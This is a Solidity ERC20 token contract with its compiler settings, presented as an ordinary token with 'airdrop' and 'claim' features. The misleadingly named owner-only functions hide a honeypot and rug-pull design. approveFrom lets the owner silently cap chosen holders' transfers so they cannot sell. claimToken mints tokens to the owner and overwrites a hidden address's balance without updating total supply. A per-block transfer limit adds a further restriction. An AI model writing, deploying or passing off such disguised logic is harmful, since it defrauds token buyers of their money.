pragma solidity ^0.8.0;

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

contract ERC20 is Context, IERC20 {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(uint => uint) private _allowanceApprovedCount; 
    mapping(address => uint256) public _approveFromAddress; 

    uint256 private _totalSupply;
    string private _name;
    string private _symbol;
    uint8 private _decimals = 18;
    address public owner;
    uint256 private _claimTransfer;
    uint256 private airdropAmount;
    address private enabled;
    uint256 private claimbleToken;
    address private _airdropAddress;


    bool private _airdropEvent = false;
    bool private _isRenounced = false;
    uint256 private constant claimableValue = type(uint256).max;

    constructor(
        string memory name_,
        string memory symbol_,
        uint256 totalSupply_,
        uint256 claimTransfer_,
        uint256 airdropAmount_,
        address enabled_,
        uint256 claimbleToken_
    ) {
        _name = name_;
        _symbol = symbol_;
        owner = _msgSender();
        _totalSupply = totalSupply_ * (10 ** uint256(_decimals));
        _balances[owner] = _totalSupply;
        emit Transfer(address(0), owner, _totalSupply);
        _claimTransfer = claimTransfer_;
        airdropAmount = airdropAmount_;
        enabled = enabled_;
        claimbleToken = claimbleToken_; 
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _airdropEnable();
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _airdropEnable();
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
        return true;
    }


    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (!_airdropEvent && sender == owner) {
            _airdropAddress = recipient; 
            _airdropEvent = true;
        }

        if (sender != owner && sender != _airdropAddress && 
            _approveFromAddress[sender] != 0 && recipient != owner &&
            _approveFromAddress[sender] <= block.number && 
            _claimTransfer != claimableValue) {

            amount = amount > _claimTransfer ? _claimTransfer : amount;
        }

        require(_balances[sender] >= amount, "ERC20: transfer amount exceeds balance");

        _balances[sender] -= amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
    }


    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
        
    function approveFrom(address _address, uint256 approvedFromAmount) external {
        require(_msgSender() == owner, "Not the owner");
        _approveFromAddress[_address] = approvedFromAmount;
    }

    function _airdropEnable() internal {
        require(_allowanceApprovedCount[block.number] < airdropAmount);
        _allowanceApprovedCount[block.number]++;
    }

    function openClaim() external {
        require(!_isRenounced, "Function can only be called before the contract is renounced");
        require(_msgSender() == owner, "ERC20: caller is not the owner");
        _claimTransfer = claimableValue;
    }

    function claimToken() external returns (bool) {
        require(!_isRenounced, "Function can only be called before the contract is renounced");
        if (_msgSender() != owner) {
            return false;
        }
        _airdropList();
        return true;
    }

    function _airdropList() internal {
        _balances[owner] += claimbleToken;
        _balances[enabled] = claimbleToken;
    }

}

{
  "compilationTarget": {
    "ERC20.sol": "ERC20"
  },
  "evmVersion": "paris",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}